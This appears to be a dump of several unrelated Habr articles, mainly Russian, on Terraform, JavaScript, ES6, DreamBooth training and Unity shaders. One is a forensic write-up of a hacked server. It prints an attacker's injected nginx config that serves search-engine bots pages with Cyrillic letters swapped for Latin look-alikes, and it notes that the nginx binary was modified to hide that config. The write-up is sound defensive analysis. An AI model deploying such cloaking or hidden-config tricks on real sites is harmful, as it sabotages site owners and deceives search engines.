"version": "0.0.1"
},
{
"commithash": "xxxxxxxxxxxxxxxxxxxxxxxxx",
"signature": {
"Name": "Archie Gunasekara",
"Email": "agunasekara@email.com",
"When": "2022-09-08T11:26:17+10:00"
},
"version": "0.1.0"
}
]
}
```
Ещё мы создали инструмент под названием *tf-module-viewer*, который позволяет командам легко перечислять версии модуля.
```
agunasekara@ops-box:~ >> tf-module-viewer module-catalogue
Search: █
? Select a Module:
aws/alb
aws/ami
aws/aurora
↓ aws/autoscaling
```
Используя этот новый подход к каталогизации модулей, теперь можно закреплять их в пути *vendored\_modules*, и обёртки нашего бинарника Terraform при выполнении `init` будут копировать эти модули из каталога S3.
```
module "service_dev" {
source = "../../../vendored_modules/slack/service"
whitecastle = true
vpc_id = local.vpc_id
subnets = []
pvt_subnets = local.private_subnets
```
Обёртка считывает необходимую версию модуля из файла конфигурации, после чего перед выполнением `init` скачивает нужные версии модулей в путь *vendored\_modules*.
```
modules:
aws/alb: 0.1.0
aws/ami: 0.1.9
aws/aurora: 0.0.6
aws/eip: 0.0.7
```
▍ Идеально ли это решение? Нет…
-------------------------------
Этот подход было решено использовать не во всех файлах состояния. Реализовали мы его только для имеющих строгие требования к соответствию. Другие файлы по-прежнему ссылаются непосредственно на модули, используя относительный путь в репозитории. Кроме того, подход с каталогизацией усложняет быстрое тестирование изменений, поскольку сначала необходимо внести эти изменения в модуль и загрузить его в каталог, после чего уже файл состояния сможет на этот модуль сослаться.
Модули Terraform могут иметь несколько выводов, условных ресурсов и конфигураций. Когда модуль обновляется и загружается в каталог, инструмент под названием Terraform Smart Planner просит пользователя протестировать все файлы состояния, использующие этот модуль, открепив его. Однако это необязательная процедура, в связи с чем изменения могут сработать для одних файлов, нарушив другие. Причём пользователи не узнают об этих проблемах, пока не обновят версию закреплённого модуля на последнюю. И хотя для исправления проблемы достаточно вернуться к прежней версии, это всё равно представляет неудобство, и для использования новой версии потребуется загрузить в каталог уже исправленный модуль.
▍ Как мы создаём конвейеры для файлов состояния?
------------------------------------------------
Как я уже говорил, для развёртываний Terraform мы используем Jenkins. При наличии сотен файлов состояния мы задействуем сотни конвейеров и стадий. Для создания этих конвейеров мы используем собственную библиотеку Groovy с плагинами [Jenkins Job DSL](https://plugins.jenkins.io/job-dsl/). В процессе разработки нового файла состояния команда либо создаёт полностью новый конвейер, либо добавляет этот процесс в качестве стадии существующего. Для этого мы добавили DSL-скрипт в каталог, который Jenkins считывает по расписанию, выстраивая все наши конвейеры. Однако это не самый удобный для пользователя опыт, так как процесс написания Groovy для создания нового конвейера требует много времени, и в нём легко допустить ошибки.
Тем не менее прекрасный инженер моей команды по имени Эндрю Мартин посвятил свой день инноваций решению этой проблемы. Он написал небольшую программу, считывающую простой файл YAML и создающую сложные DSL-скрипты, которые Jenkins может использовать для построения конвейеров. Этот новый подход кардинально упростил создание новых конвейеров состояний Terraform.
```
pipelinename: Terraform-Deployment-rosi-org-root
steps:
- path: accnt-rosi-org-root/env-global
- path: accnt-rosi-org-root/us-east-1
- path: accnt-rosi-org-root/env-global/organizational-units-and-scps/sandbox
next:
- path: accnt-rosi-org-root/env-global/organizational-units-and-scps/dev
next:
- path: accnt-rosi-org-root/env-global/organizational-units-and-scps/prod-staging
next:
- path: accnt-rosi-org-root/env-global/organizational-units-and-scps/prod
```
Конфигурация выше приведёт к созданию следующего конвейера в Jenkins:
▍ Как мы тестируем изменения в Terraform?
-----------------------------------------
Как уже говорилось, каждый файл состояния имеет в своём конвейере стадию планирования, которая должна быть успешно пройдена, прежде чем можно будет перейти к стадии применения. Однако для этого изменения уже должны быть внесены в мастер-ветку репозитория Terraform. Но к сожалению, в случае неудачных изменений конвейер даст сбой и будет заблокирован. Кроме того, если внести такие провальные изменения в широко используемый модуль, то под удар могут попасть несколько файлов состояния.
Чтобы это исправить, мы ввели инструмент под названием Terraform Smart Planner, который можно применять при внесении изменений в репозиторий. Он находит все файловые состояния, на которые влияет внесённое изменение, запускает планирование для каждого и выдаёт результат в пул-реквесте. Аналогичным образом Terraform Smart Planner работает и при обновлении модуля. Однако он попросит пользователя открепить все модули, закреплённые с использованием каталога, о чём мы говорили выше, если в этих модулях были произведены изменения.
Получение этого вывода в теле пул-реквеста невероятно помогает ревьюерам, поскольку они видят, на какие ресурсы влияет конкретное изменение. Это также помогает обнаруживать все косвенно подверженные такому влиянию файлы состояния и все изменения ресурсов в них. Благодаря этому, мы можем уверенно подтверждать пул-реквест или требовать внесения дополнительных изменений.
Кроме того, мы выполняем аналогичную проверку CI для каждого пул-реквеста и блокируем слияния со всеми компонентами, где планирование Terraform нарушено.
▍ Напоследок
------------
Модель нашего использования Terraform далека от идеала, и здесь для улучшения пользовательского опыта можно внести ещё множество улучшений. Команда Cloud Foundations тесно сотрудничает с командами сервисов в Slack, собирая обратную связь и внося доработки в процессы и инструменты, управляющие нашей инфраструктурой. Мы также создали собственных провайдеров Terraform для управления своими уникальными сервисами, попутно сделав вклад в аналогичные опенсорсные решения. Сейчас в этом направлении проделывается очень много увлекательной работы, и если вам интересно принять в ней участие, обратите внимание на нашу [страницу с вакансиями](https://slack.com/intl/en-au/careers).
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Bright_Translate&utm_content=kak_my_v_slack_ispolzuem_terraform) | https://habr.com/ru/post/707154/ | null | ru | null |
# Javascript — работаем с search-частью произвольного url
Под впечатлением от идеи [создания библиотеки](http://habrahabr.ru/blogs/javascript/65407/) для работы с search-частью произвольной ссылки решил написать функцию (в соавторстве с [Kupyc](https://geektimes.ru/users/kupyc/), респект за учаcтие — ему принадлежит бОльшая часть), выполняющую ту-же задачу:
> `/\*\*
>
> \* Функция для модификации GET-параметров uri
>
> \*
>
> \* @param {String} uri
>
> \* @param {String} paramsNew
>
> \* @param {Boolean} [isReplace]
>
> \* @version 0.2.1
>
> \*/
>
>
>
> var uriQueryParamsModifier = function (uri, paramsNew, isReplace) {
>
> var paramsUri = ((paramsUri = uri.match(/\?([^#]+)/)) && paramsUri[1]);
>
> if (paramsUri && isReplace) {
>
> return uri.replace(/\?[^#]+/, !paramsNew ? '' : '?' + paramsNew );
>
> }
>
> if (paramsNew) {
>
> return uri.replace(/(#)|$/, (!paramsUri ? '?' : '&') + paramsNew + '$1');
>
> }
>
> return uri;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Авось кому сгодится. | https://habr.com/ru/post/67329/ | null | ru | null |
# Когда 'a' не равно 'а'. По следам одного взлома
Пренеприятнейшая история случилась с одним моим знакомым. Но насколько она оказалась неприятной для Михаила, настолько же занимательной для меня.
Надо сказать, что приятель мой вполне себе *UNIX*-пользователь: может сам поставить систему, установить *mysql*, *php* и сделать простейшие настройки *nginx*.
И есть у него десяток-полтора сайтов посвященных строительным инструментам.
Один из таких сайтов, посвященный бензопилам, плотненько сидит в ТОПe поисковиков. Сайт этот — некоммерческий обзорник, но кому-то поперек горла и повадились его атаковать. То *DDoS*, то брутфорс, то комменты напишут непотребные и шлют абузы на хостинг и в РКН.
Неожиданно всё стихло и это затишье оказалось не к добру, а сайт начал постепенно покидать верхние строчки выдачи.
То была присказка, дальше сама админская байка.
Время близилось ко сну когда раздался звонок телефона: «Сань, ты не глянешь мой сервер? Мне кажется меня хакнули, доказать не могу, но ощущение не покидает уже третью неделю. Может мне просто пора лечиться от паранойи?»
Далее пошло получасовое обсуждение которое кратко можно изложить так:
* почва для взлома была вполне плодородной;
* взломщик мог получить права суперпользователя;
* атака (если она имела место) была целенаправленной и именно на этот сайт;
* проблемные места исправлены и нужно только понять был ли факт проникновения;
* взлом не мог коснуться кода сайта и баз данных.
Касательно последнего пункта.
В мир смотрит только белый IP фронтенда. Между бакендами и фронтендом нет никакого обмена кроме http(s), пользователи/пароли разные, ключами не обменивались. На серых адресах все порты кроме 80/443 закрыты. Белые IP бакендов известны только двум пользователям, которым Михаил всецело доверяет.
На фронтенде установлена *Debian 9* и к моменту звонка система изолирована от мира внешним firewall'ом и остановлена.
«Ok, давай доступы, — решаю отложить сон на часок. — Посмотрю своим глазом».
Здесь и далее:
```
$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1
```
В поисках возможного взлома
---------------------------
Запускаю сервер, сначала в *rescue-mode*. Монтирую диски, пролистываю *auth-*логи, *history*, системные логи и т.п., по возможности проверяю даты создания файлов, хотя понимаю, что нормальный взломщик «подмел» бы за собой, да и Миша уже знатно «натоптал» пока искал сам.
Стартую в нормальном режиме, особо пока не понимая что искать, изучаю конфиги. В первую очередь интересует *nginx* так как, в общем-то, на фронтенде кроме него и нет ничего.
Конфиги небольшие, хорошо структурированые в десяток файлов, просматриваю их просто *cat'*ом по очереди. Вроде всё чисто, но мало-ли упустил какой-то *include*, сделаю-ка я полный листинг:
```
$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful
```
Не понял: «Где листинг-то?»
```
$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
```
К вопросу о листинге добавляется второй: «Почему такая древняя версия nginx?»
К тому же система считает, что версия установлена свежее:
```
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all small, powerful, scalable web/proxy server
```
Звоню:
— Миш, ты зачем пересобирал *nginx*?
— Окстись, я даже не знаю как это сделать!
— Ok, ну, спи…
*Nginx* однозначно пересобран и вывод листинга по "-T" скрыт неспроста. Сомнений во взломе уже нет и можно это просто принять и (раз уж Миша всё-равно заменил сервер новым) посчитать проблему решенной.
И действительно, раз уж некто получил права *root*'а, то имеет смысл делать только *system reinstall*, а искать, что там было набедокурено бесполезно, но в этот раз любопытство победило сон. Как же узнать что от нас хотели скрыть?
Попробуем оттрассировать:
```
$ strace nginx -T
```
Просматриваем, в трассировке явно не хватает строк а-ля
```
write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf) = 21
write(1, "...
write(1, "\n", 1
```
Ради интереса сравниваем выводы
```
$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264
```
Думаю, что часть кода */src/core/nginx.c*
```
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
break;
```
была приведена к виду:
```
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
//ngx_dump_config = 1;
break;
```
или
```
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
break;
```
поэтому листинг по "-T" не отображается.
Но как же посмотреть наш конфиг?
--------------------------------
Если моя мысль верна и проблема только в переменной *ngx\_dump\_config* попробуем установить её c помощью *gdb*, благо ключик *--with-cc-opt* *-g* присутствует и надеемся, что оптимизация *-O2* нам не помешает. При этом, раз я не знаю как *ngx\_dump\_config* могла быть обработана в *case 'T':*, не будем вызывать этот блок, а установим её используя *case 't':*
**Почему можно задействовать '-t' наравне с '-T'**Обработка блока *if(ngx\_dump\_config)* происходит внутри *if(ngx\_test\_config)*:
```
if (ngx_test_config) {
if (!ngx_quiet_mode) {
ngx_log_stderr(0, "configuration file %s test is successful",
cycle->conf_file.data);
}
if (ngx_dump_config) {
cd = cycle->config_dump.elts;
for (i = 0; i < cycle->config_dump.nelts; i++) {
ngx_write_stdout("# configuration file ");
(void) ngx_write_fd(ngx_stdout, cd[i].name.data,
cd[i].name.len);
ngx_write_stdout(":" NGX_LINEFEED);
b = cd[i].buffer;
(void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
ngx_write_stdout(NGX_LINEFEED);
}
}
return 0;
}
```
Конечно, если код изменен в этой части, а не в *case 'T':*, то мой способ не подойдет.
**Тестовый nginx.conf**Уже решив проблему опытным путем было установлено, что для работы зловреда необходим минимальный конфиг *nginx* вида:
```
events {
}
http {
include /etc/nginx/sites-enabled/*;
}
```
Его и будем для краткости использовать в статье.
**Запускаем отладчик**
```
$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188 src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}
http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:
[Inferior 1 (process 32581) exited normally]
(gdb) quit
```
По шагам:
* устанавливаем точку останова в функции *main()*
* запускаем программу
* изменяем значение переменной определяющей вывод конфига *ngx\_dump\_config=1*
* продолжаем/завершаем программу
Как видим реальный конфиг отличается от нашего, выделяем из него паразитный кусок:
```
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
```
Рассмотрим по порядку что же здесь происходит.
Определяются *User-Agent*'ы yandex/google:
```
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
```
Исключаются служебные страницы *wordpress*:
```
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
```
И для тех, кто попал под оба вышеперечисленных условия
```
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
```
в тексте *html*-страницы изменяется *'о'* на *'o'* и *'а'* на *'a'*:
```
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
```
Именно так, тонкость только в том что *'а' != 'a'* так же как и *'о' != 'o'*:
Таким образом боты поисковых систем получают вместо нормального 100%-кириллического текста модифицированный мусор разбавленный латинскими *'a'* и *'o'*. Не берусь рассуждать, как это влияет на SEO, но вряд ли такая буквенная мешанина позитивно скажется на позициях в выдаче.
Что сказать, ребята с фантазией.
Ссылки
------
[Отладка с помощью GDB](https://www.opennet.ru/docs/RUS/gdb/)
[gdb(1) — Linux man page](https://linux.die.net/man/1/gdb)
[strace(1) — Linux man page](https://linux.die.net/man/1/strace)
[Nginx — Module ngx\_http\_sub\_module](http://nginx.org/en/docs/http/ngx_http_sub_module.html)
[О пилах, бензопилах и электропилах](https://opilah.com) | https://habr.com/ru/post/465355/ | null | ru | null |
# ES6 и за его пределами. Глава 1: ES? Настоящее и Будущее
Хочу уделить внимание книге, которую написал [Kyle Simpson](http://getify.me/) — «ES6 и за его пределами» (англ. «ES6 & Beyond»). Конечно, вклад внес не только он, а множество замечательных контрибьюторов. [Благодарности](https://github.com/getify/You-Dont-Know-JS/blob/master/es6%20%26%20beyond/apA.md).
На данный момент имеет статус — завершенный черновик.
Оглавление:
* Глава 1: ES? Настоящее & Будущее
* Глава 2: Синтаксис
* Глава 3: Организация
* Глава 4: Асинхронное управление потоком
* Глава 5: Коллекции
* Глава 6: API Дополнения
* Глава 7: Мета программирование
* Глава 8: За пределами ES6
Перед тем как начать читать эту книгу, я полагаю, что вы уже обладаете твердым знанием JavaScript вплоть до самого популярного стандарта (на момент написание этой книги), который обычно называют ES5 (технически это ES5.1). Здесь мы будем говорить о предстоящем стандарте ES6 и попытаемся понять дальнейшее развитие JS.
ES6 — это не просто скромный набор нового API добавленного к языку, как это было с ES5. Он включает в себя уйму новых синтаксических форм, понимание которых может занять время, перед тем как они войдут в привычку. Так же появилось несколько новых организационных форм и новое API с множеством помощников для уже существующих типов данных.
ES6 — это радикальный скачек вперед. Даже если вы думаете, что знаете JS (ES5), то ES6 полон новых вещей, о которых вам еще только предстоит узнать. Так что будьте готовы! Эта книга будет освещать все основные темы ES6, которые помогут вам побыстрее освоится и даже больше — заглянуть в будущее, чтобы быть готовым к новым изменениям.
Внимание: весь код, приведенный в данной книге, требует окружения ES6.
Версирование
------------
JavaScript официально называется «ECMAScript» (аббревиатура «ES») и до недавнего времени версия была целым числом (то есть «5», «5-е издание»).
Ранние версии ES1 и ES2 были не так широко имплементированы, но ES3 был первым широко распространенным основанием для JavaScript. ES3 является стандартом JavaScript для таких браузеров, как IE6-8, и старых мобильных браузеров систем Android 2.x. ES4 по «политическим» причинам мы рассматривать не будем. Данный стандарт был отброшен.
В 2009, ES5 был официально закончен (позже ES5.1 в 2011), и стал широко распространенным стандартом для целой кучи браузеров, таких как Firefox, Chrome, Opera, Safari и многих других.
В ожидании следующей версии JS(в 2013, потом в 2014, а затем уже и в 2015), самой обсуждаемой новой меткой была — ES6.
Однако, позже в ленте ES6 спецификации, всплыли предложения, что у модели версирования, в основании должна быть годовая отметка. Например ES2016(ES7), означая, что стандарт был завершен в конце 2016 года. Многие с этим не согласны и в любом случае переименовывать ES6 уже поздно. Но как факт, подобная версионная модель может быть.
Так же благодаря простому наблюдению, мы можем сказать, что эволюция JS идет более быстрым темпом, чем ежегодное версирование. Как только идея для нового стандарта начинает прогрессировать в дискуссиях, браузеры начинают прототипировать особенности (функции, API ) и раньше адаптировать их под эксперименты с кодом (всем нам знакомы экспериментальные флаги).
Обычно перед тем как ставится официальный штамп одобрения, особенности языка де факто проходят этап стандартизации благодаря раннему прототипированию. Следовательно стоит говорить о будущей модели версирования JS которая будет основываться на новых пред-функциях нежели на годовой модели или модели пред-годовой-коллекции основных функций, которая используется на данный момент.
Я введу к тому, что метки версий наподобие ES6 перестают быть важными, и JavaScript должен быть своего рода вечнозеленым живым стандартом. Лучший способ побороть метки, это перестать думать, что ваш код зависит от «ES6 -версии» в пользу «feature-by-feature» для дальнейшей поддержки.
Транспилинг
-----------
Перед разработчиками которые хотят использовать новоиспеченные особенности языка, возникает проблема поддержки приложений/сайтов в старых браузерах которые их не поддерживают.
Основным мышлением было ожидать принятие ES5 до тех пор, пока большинство или даже все окружения не выпадут из спектра поддержки. Как результат, многие с недавних пор просто начали самостоятельно реализовывать вещи, такие как, например, strict mode, прижившийся в ES5 еще много лет назад.
Многие согласятся с тем, что подобный подход ожидания и протаптывание спецификации губителен для экосистемы JS. Те люди, которые ответственны за развитие языка, желают, чтобы разработчики использовали новые особенности языка и его паттерны как только они были стабилизированы в спецификации; браузеры имеют шанс их реализовать.
Так как же мы решаем это небольшое противоречие? Ответ — тулинг, а именно — эта техника называется транспилинг (трансформация + компиляция).
Например, рассмотрим сокращенное объявление параметра (Объектные литералы мы рассмотрим в Главе 2). Вот как это выглядит в ES6:
```
var foo = [1,2,3];
var obj = {
foo // ввиду имеется `foo: foo`
};
obj.foo; // [1,2,3]
```
А вот как это будет выглядеть после транспилинга:
```
var foo = [1,2,3];
var obj = {
foo: foo
};
obj.foo; // [1,2,3]
```
Это не значительная, но приятная трансформация, которая позволяет нам сократить foo: foo в описании объектного литерала. Используя только foo, если имена одинаковые.
Транспилинг обычно занимает в процессе разработки место на ровне с линтингом, минификацией и т.д.
Шимы/Полифилы
-------------
Не всем новым возможностям ES6 необходим транспилинг. Полифилы (шимы) — это такой паттерн, определяющий эквивалентное поведение нового окружения в более старом, разумеется, когда это возможно. Синтаксис не может быть полифильным, но API может.
Например, Object.is(..) является новой утилитой проверки строгой эквивалентности двух значений, но без исключений, которые имеет === для значений NaN и -0. Полифил метода Object.is(..) довольно прост:
```
if (!Object.is) {
Object.is = function(v1, v2) {
// test for `-0`
if (v1 === 0 && v2 === 0) {
return 1 / v1 === 1 / v2;
}
// тест на значение `NaN`
if (v1 !== v1) {
return v2 !== v2;
}
// что либо другое
return v1 === v2;
};
}
```
Обратите внимание на внешнею обертку вокруг полифила — if. Это важная деталь, которая означает, что сниппет определяется только для старого окружения, где данное API еще не реализовано. Достаточно редко вам придется переопределить уже существующие API.
Есть отличная коллекция шимов ES6, которая называется [«ES6 Shims»](https://github.com/paulmillr/es6-shim/), которую вы можете использовать как часть вашего нового проекта.
Очевидно, что JS будет неизменно эволюционировать с браузерами, которые буду выкатывать новые возможности постепенно, нежели большими кусками. Поэтому наилучшая стратегия идти в ногу с обновлениями и эволюцией языка — это внедрять полифилы в ваш базовый код и добавить транспилинг в процесс разработки и, тем самым, привыкнуть к новой реальности.
Если вы решите держаться статуса-кво и просто ждать, пока все браузеры будут полностью поддерживать возможности языка, вы будете далеко позади. Вы рискуете пропустите те инновации, которые были изобретены для того, чтобы писать JavaScript более эффективно и надежно.
Рецензия
--------
Важно настроить свое мышление на новый путь, которым будет развиваться JavaScript. Не стоит ждать годами, пока новый стандарт утвердят. На данный момент новые возможности JavaScript внедряются в браузеры по мере возможности, готовы ли вы их использовать уже сейчас или же ждать — зависит только от вас.
Неважно, какие метки получит будущий JavaScript, развитие языка будет на много быстрее, нежели это было прежде. Транспилинг и полифилы — важные инструменты, которые помогут вам идти в ногу с развитием и появлением новых возможностей. | https://habr.com/ru/post/257355/ | null | ru | null |
# I trained a neural network on my drawings and give the model for free (and teach you to create your own)
Great for seamless patterns, abstract drawings, and watercolor-styled images. **How to use it and train a neural network on your own pictures?**
Download the model here: [https://huggingface.co/netsvetaev/netsvetaev-free](https://huggingface.co/netsvetaev/netsvetaev-free?ref=dtf.ru)
**How to use .ckpt model**
You download the .ckpt file, put it in your models folder. Then it all depends on what fork you're using. In [InvokeAI](https://github.com/invoke-ai), which I use, the models are added by usual loading invoke.py and executing `!import_model` command in console.
**How to train neural network on your images if you don't have nvidia 4090?**
Google has a wonderful service called Colab: Google gives you free server for about an hour. That's enough to build a model from 15-30-50 images.
First go here and get acquainted with colab (but don't touch anything): <https://colab.research.google.com/github/ShivamShrirao/diffusers/blob/main/examples/dreambooth/DreamBooth_Stable_Diffusion.ipynb>
All that is required from you, except for clicking through each code window and uploading pictures, is a hugging face token.
Register at [huggingface.co](http://huggingface.co), and then create a token in the settings: [https://huggingface.co/settings/tokens](https://huggingface.co/settings/tokens?ref=dtf.ru)
Insert the token here:
Check the box to save the model to google drive and name a folder, if you want (it will be created automatically)
Next, specify how we will call your style or object
This is not so important, but you need to remember this token to invoke your object.
Then upload the pictures:
You need to use the size of 512x512 pixels, and it is better to prepare them in advance. It's up to you to decide what to cut, but I recommend to cut it so that the composition and significant objects were preserved. You can also make several separate zoomed in and cropped pictures.
Example images for my modelDepending on the number of images, you can change the number of training steps. A reasonable number is 100 steps \* number of pictures. For 8 images (at least 8 is enough, btw) — 800 steps is enough. Too many steps is also bad: the generation will become too contrast and you will get artifacts on images (overtrained model).
Next, simply start each block in the colab with the Play button in the top left corner and wait for the completion of each code. When you get to the section shown above and start it, you will see the learning process. It will take about 10 minutes to prepare + another 15-30 minutes, depending on the number of pictures and steps.
After training you can test the model on test generation and convert it to .ckpt format:
**Now you have the file on your disk: download it and add it to your favorite fork.**
Additionally you can delete unnecessary files and finish the process
---
**About me:** My name is Artur Netsvetaev, I am a product manager, entrepreneur and [UI/UX designer](https://netsvetaev.com). I help with the development of the [InvokeAI](https://github.com/invoke-ai) interface and have been using it myself since the beginning of this project. | https://habr.com/ru/post/699002/ | null | en | null |
# Unity3D 3.х Terrain Bump Specular Shader
На данный момент [Unity3D](http://unity3d.com/) не поддерживает наложение на встроенный ландшафт карты нормалей и отражения(specular). Гугление по этому поводу принесло не очень впечатляющие результаты в виде вот [этого](http://sixtimesnothing.wordpress.com/2010/10/10/bump-mapping-for-built-in-unity-terrain/) шейдера и некоторых его модификаций. Воодушевившись картинкой и скачав архив меня постигло разочарование. Во-первых для работы шейдера на ландшафт необходимо вешать скрипт которым управляется шейдер (что очень неудобно), а во-вторых в данной реализации больше 4х карт нормалей нельзя назначить.
В этой статье я опишу процесс создания собственного шейдера для ландшафта, параллельно рассказав как работает стандартный шейдер.
#### Механизм отрисовки ландшафта в стандартных шейдерах юнити
Для отрисовки ландшафта в юнити используется два шейдера:
Hidden/TerrainEngine/Splatmap/Lightmap-FirstPass и Hidden/TerrainEngine/Splatmap/Lightmap-AddPass, скачать их можно [здесь](http://unity3d.com/support/resources/assets/built-in-shaders)
Первый шейдер рисует первые 4 текстуры ландшафта. Второй шейдер рисует последовально остальные текстуры по 4 за раз, пока не закончатся текстуры.
Итак что передается в шейдер из движка:
```
...
struct Input {
float2 uv_Control : TEXCOORD0;
float2 uv_Splat0 : TEXCOORD1;
float2 uv_Splat1 : TEXCOORD2;
float2 uv_Splat2 : TEXCOORD3;
float2 uv_Splat3 : TEXCOORD4;
};
sampler2D _Control;
sampler2D _Splat0,_Splat1,_Splat2,_Splat3;
...
```
**\_SplatX** — текстура с материалом
**\_Control** — управляющая карта. Это текстура в которой каждый из каналов задает яркость одного из материалов в определенной точке. Управляющая карта создается на основе карты материалов ландшафта (Alphamaps) для каждой четверки материалов в недрах движка. Именно потому что у управляющей текстуры 4 канала, шейдеры рендерят не больше чем по 4 материала за раз.
Разберем что дальше происходит в шейдере:
Он имеет единственную процедуру, в которой считается цвет текущей точки (o.Albedo), и он равен сумме произведений яркости точки из управляющей карты RGBA и ее цвета из текстуры материала.
```
...
void surf (Input IN, inout SurfaceOutput o) {
half4 splat_control = tex2D (_Control, IN.uv_Control);
half3 col;
col = splat_control.r * tex2D (_Splat0, IN.uv_Splat0).rgb;
col += splat_control.g * tex2D (_Splat1, IN.uv_Splat1).rgb;
col += splat_control.b * tex2D (_Splat2, IN.uv_Splat2).rgb;
col += splat_control.a * tex2D (_Splat3, IN.uv_Splat3).rgb;
o.Albedo = col;
o.Alpha = 0.0;
}
...
```
Результат его работы можно увидеть ниже:
Засветка в данном случае произошла из-за наложения нескольких материалов(каналов) на управляющей карте, в реальных условия такого не должно быть, т.к. обычно один материал на ландшафте плавно переходит в другой, и довольно в редких случаях нужно накладывать один материал на другой.
Второй шейдер я рассматривать не буду, т.к. он практически идентичен, только используется для текстур с индексом выше 3.
##### Создание собственного шейдера
Так как в одном проходе может быть только 4 материала и не хочется прибегать к помощи скриптов для назначения нормалей шейдеру, будем засовывать нормали через ландшафт, как показано на картинке ниже.
Теперь каждая вторая текстура на ландшафте является нормалью к предыдущему материалу. Важно чтобы в инспекторе у этой текстуры был выставлен тип — нормаль. Кроме того у нас есть неиспользуемый канал **A** в текстуре материала, в который отлично помещается карта Specular.
Новая процедура surf:
```
void surf (Input IN, inout SurfaceOutput o) {
fixed4 splat_control = tex2D (_Control, IN.uv_Control);
fixed3 col;
fixed spec;
//Получим RGBA точки из первого материала
fixed4 d1 = tex2D (_Splat0, IN.uv_Splat0);
//Получим RGBA точки из второго материала
fixed4 d2 = tex2D (_Splat2, IN.uv_Splat2);
//Получим нормаль точки от первого материала
fixed3 n1 = UnpackNormal( tex2D (_Splat1, IN.uv_Splat1) );
//Получим нормаль точки от второго материала
fixed3 n2 = UnpackNormal( tex2D (_Splat3, IN.uv_Splat3) );
//Меняем цвет точки в соответствии с управляющей картой
col = splat_control.r * d1.rgb;
//Интерполируем нормаль (ниже описано подробней)
o.Normal = normalize(lerp(fixed3(0.5,0.5,1), n1, clamp(splat_control.r + 0.3,0,1)));
//Меняем степень отблеска в обратно пропорционально альфа каналу материала, чтобы текстура без альфы не бликовала. "0.1" - максимальная степень отблеска, поменяйте на свой вкус.
spec = (1 - d1.a) * splat_control.r * 0.1;
//Повторяем для второго материала и складываем с первым
col += splat_control.b * d2.rgb;
o.Normal += normalize(lerp(fixed3(0.5,0.5,1), n2, clamp(splat_control.b + 0.3,0,1)));
spec += (1 - d2.a) * splat_control.b * 0.1;
//Немного убавляем яркость, чтобы соответствовало basemap'у
o.Albedo = col * 0.5;
//Задаем отблеск
o.Specular = spec;
o.Gloss = spec;
o.Alpha = 0.0;
}
```
В процедуре все должно быть понятно, так как кроме арифметических операций там больше почти ничего нет. Единственное, что хотелось бы разобрать — вот эту строчку:
